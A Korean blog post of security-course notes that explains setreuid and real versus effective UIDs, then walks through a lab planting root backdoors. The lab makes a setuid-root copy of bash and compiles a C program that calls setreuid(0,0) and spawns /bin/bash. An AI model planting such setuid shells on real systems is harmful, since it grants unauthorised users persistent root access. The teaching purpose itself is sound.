본문 바로가기
보안과정/참고

setreuid 명령어

by Luuii 2017. 11. 28.

NAME

       setreuid, setregid - set real and/or effective user or group ID


SYNOPSIS

       #include <sys/types.h>

       #include <unistd.h>


       int setreuid(uid_t ruid, uid_t euid);

       int setregid(gid_t rgid, gid_t egid);


UID(User Identification, Real UID) / EUID(Effective UID)

GID(Group Identification, Real GID) / EGID(Effective GID)


Real UID : # who am i ( 내가 어떤 사용자로 로그인 했는가 )

Effective UID : # id    or    # whoami    ( 현재 내가 누구 인가 )


Setuid는 Effective UID 만 변경하게 되어있다.

>> user01 이라는 사용자가 시스템으로 들어온다.

>> 그럼 UID 번호를 가지고 권한이라는 걸 할당한다.

>> 할당해 줄 때 초기 사용자가 들어오면 값이 두 개다. 하나는 Real UID, 하나는 Effective UID.

>> Effective UID는 초기에 Real UID와 동일한 것을 할당 받고 효과를 발휘하는 UID

>> Real UID는 초기에 로그인하고 값이 변경되지 않는다.  -> 어떤 사람이 로그인 했는가?

>> Effective UID -> 현재 이 사용자가 누구인가?


[UID / EUID실습]

사용시스템 : CentOS 5.5 (final)


# telnet localhost

user01 사용자로 로그인


$ who am i 

$ id

$ whoami


$ su - user02

user02 사용자로 로그인


$ who am i 

$ id

$ whoami


$ su - root


$ who am i 

$ id

$ whoami




[백도어 실습]

# ls -l /bin/bash

# cp /bin/bash /test

# cd /test

# ls -l

--> /test/bash

--> /bin/bash


# /bin/bash

# ps

# exit


# /test/bash

# ps

# exit


# ls -l /test/bash

# chmod 4755 /test/bash

# ls -l /test/bash


$ telnet localhost

user01 사용자로 로그인


$ /test/bash

$ id

$ ps

$ exit


# cd /test

# vi backdoor.c

1
2
3
4
5
6
7
8
9
#include<stdio.h>
#include<sys/types.h>
#include<unistd.h>
 
main()
{
    setreuid(0,0);
    system("/bin/bash");
}
cs


# telnet localhost

user01 사용자로 로그인


$ /test/backdoor

# id

# ps

--> 실행된 쉘







반응형

'보안과정 > 참고' 카테고리의 다른 글

nc(netcat)명령어 사용법  (0) 2017.11.28
xinetd 방식에 대하여  (0) 2017.11.28
dig/host/nslookup  (0) 2017.11.28
어셈블리 언어(Assembly)  (0) 2017.11.27
특수 퍼미션  (0) 2017.11.27